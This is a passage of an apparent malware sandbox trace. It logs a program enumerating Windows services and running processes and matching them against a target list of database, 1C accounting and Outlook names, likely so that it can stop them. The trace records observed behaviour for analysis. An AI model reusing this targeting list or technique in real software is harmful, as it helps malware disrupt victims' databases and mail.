(lpString="DPS") returned 3 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0094.821] lstrlenW (lpString="eventlog") returned 8 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0094.821] lstrlenW (lpString="EventSystem") returned 11 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0094.821] lstrlenW (lpString="gpsvc") returned 5 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0094.821] lstrlenW (lpString="iphlpsvc") returned 8 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0094.821] lstrlenW (lpString="LanmanServer") returned 12 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0094.821] lstrlenW (lpString="LanmanWorkstation") returned 17 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0094.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0094.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0094.821] lstrlenW (lpString="lmhosts") returned 7 [0094.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0094.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0094.821] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0094.822] lstrlenW (lpString="MMCSS") returned 5 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0094.822] lstrlenW (lpString="MpsSvc") returned 6 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0094.822] lstrlenW (lpString="NlaSvc") returned 6 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0094.822] lstrlenW (lpString="nsi") returned 3 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0094.822] lstrlenW (lpString="PcaSvc") returned 6 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0094.822] lstrlenW (lpString="PlugPlay") returned 8 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0094.822] lstrlenW (lpString="Power") returned 5 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0094.822] lstrlenW (lpString="ProfSvc") returned 7 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0094.822] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0094.822] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0094.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0094.822] lstrlenW (lpString="RpcEptMapper") returned 12 [0094.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0094.823] lstrlenW (lpString="RpcSs") returned 5 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0094.823] lstrlenW (lpString="SamSs") returned 5 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0094.823] lstrlenW (lpString="Schedule") returned 8 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0094.823] lstrlenW (lpString="SENS") returned 4 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0094.823] lstrlenW (lpString="ShellHWDetection") returned 16 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0094.823] lstrlenW (lpString="Spooler") returned 7 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0094.823] lstrlenW (lpString="SysMain") returned 7 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0094.823] lstrlenW (lpString="Themes") returned 6 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0094.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0094.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0094.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0094.823] lstrlenW (lpString="TrkWks") returned 6 [0094.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0094.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0094.824] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0094.824] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0094.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0094.824] lstrlenW (lpString="UxSms") returned 5 [0094.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0094.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0094.824] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0094.824] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0094.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0094.824] lstrlenW (lpString="Winmgmt") returned 7 [0094.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0094.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0094.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0094.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0094.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0094.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0094.824] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0094.825] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0094.825] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0094.826] lstrlenW (lpString="System") returned 6 [0094.826] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0094.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0094.826] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0094.826] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0094.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0094.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0094.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0094.826] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0094.826] lstrlenW (lpString="smss.exe") returned 8 [0094.826] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0094.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0094.826] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0094.826] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0094.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0094.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0094.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0094.826] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.827] lstrlenW (lpString="csrss.exe") returned 9 [0094.827] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0094.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0094.827] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0094.827] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0094.827] lstrlenW (lpString="wininit.exe") returned 11 [0094.827] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0094.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0094.827] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0094.827] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0094.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0094.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0094.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0094.827] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0094.827] lstrlenW (lpString="csrss.exe") returned 9 [0094.827] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0094.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0094.827] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0094.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0094.827] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0094.828] lstrlenW (lpString="winlogon.exe") returned 12 [0094.828] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0094.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0094.828] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0094.828] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0094.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0094.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0094.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0094.828] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0094.828] lstrlenW (lpString="services.exe") returned 12 [0094.828] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0094.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0094.828] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0094.828] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0094.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0094.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0094.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0094.828] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0094.828] lstrlenW (lpString="lsass.exe") returned 9 [0094.828] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0094.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0094.828] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0094.828] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0094.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0094.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0094.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0094.828] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0094.829] lstrlenW (lpString="lsm.exe") returned 7 [0094.829] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0094.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0094.829] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0094.829] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0094.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0094.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0094.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0094.829] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.829] lstrlenW (lpString="svchost.exe") returned 11 [0094.829] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0094.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0094.829] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0094.829] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0094.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0094.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0094.829] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.829] lstrlenW (lpString="svchost.exe") returned 11 [0094.830] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.830] lstrlenW (lpString="svchost.exe") returned 11 [0094.830] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.830] lstrlenW (lpString="svchost.exe") returned 11 [0094.830] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.830] lstrlenW (lpString="svchost.exe") returned 11 [0094.830] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0094.830] lstrlenW (lpString="audiodg.exe") returned 11 [0094.830] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.831] lstrlenW (lpString="svchost.exe") returned 11 [0094.831] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.831] lstrlenW (lpString="svchost.exe") returned 11 [0094.831] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0094.831] lstrlenW (lpString="userinit.exe") returned 12 [0094.831] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0094.831] lstrlenW (lpString="dwm.exe") returned 7 [0094.831] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0094.832] lstrlenW (lpString="explorer.exe") returned 12 [0094.832] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: 